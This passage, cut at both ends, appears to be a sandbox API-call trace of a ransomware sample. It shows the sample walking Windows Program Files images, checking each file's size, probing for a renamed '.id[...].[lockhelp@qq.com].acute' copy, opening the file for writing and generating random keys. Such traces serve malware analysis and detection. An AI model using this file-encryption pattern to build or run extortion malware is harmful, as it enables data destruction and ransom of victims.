Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.161] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.161] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.162] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4955) returned 1 [0274.162] CloseHandle (hObject=0x30c) returned 1 [0274.162] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png")) returned 0x20 [0274.162] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.162] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.163] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3081) returned 1 [0274.163] CloseHandle (hObject=0x30c) returned 1 [0274.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png")) returned 0x20 [0274.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.163] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.163] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.163] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.163] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2962) returned 1 [0274.163] CloseHandle (hObject=0x30c) returned 1 [0274.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png")) returned 0x20 [0274.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.164] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.164] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.164] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.164] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=30138) returned 1 [0274.164] CloseHandle (hObject=0x30c) returned 1 [0274.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png")) returned 0x20 [0274.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.165] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.165] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5072) returned 1 [0274.165] CloseHandle (hObject=0x30c) returned 1 [0274.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp")) returned 0x20 [0274.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.165] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.165] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4728) returned 1 [0274.165] CloseHandle (hObject=0x30c) returned 1 [0274.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png")) returned 0x20 [0274.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.166] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.166] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5742) returned 1 [0274.166] CloseHandle (hObject=0x30c) returned 1 [0274.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png")) returned 0x20 [0274.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.220] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.220] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4570) returned 1 [0274.220] CloseHandle (hObject=0x310) returned 1 [0274.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png")) returned 0x20 [0274.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.220] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.221] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2821) returned 1 [0274.221] CloseHandle (hObject=0x310) returned 1 [0274.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png")) returned 0x20 [0274.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.221] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.222] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.222] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=17378) returned 1 [0274.222] CloseHandle (hObject=0x310) returned 1 [0274.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png")) returned 0x20 [0274.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.222] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.222] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2903) returned 1 [0274.222] CloseHandle (hObject=0x310) returned 1 [0274.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png")) returned 0x20 [0274.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.235] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.235] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5088) returned 1 [0274.235] CloseHandle (hObject=0x310) returned 1 [0274.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png")) returned 0x20 [0274.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.235] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.235] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3130) returned 1 [0274.235] CloseHandle (hObject=0x310) returned 1 [0274.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png")) returned 0x20 [0274.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.236] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.236] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5025) returned 1 [0274.236] CloseHandle (hObject=0x310) returned 1 [0274.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png")) returned 0x20 [0274.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.236] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.237] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3118) returned 1 [0274.237] CloseHandle (hObject=0x310) returned 1 [0274.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png")) returned 0x20 [0274.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.237] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.237] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4955) returned 1 [0274.237] CloseHandle (hObject=0x310) returned 1 [0274.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png")) returned 0x20 [0274.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program 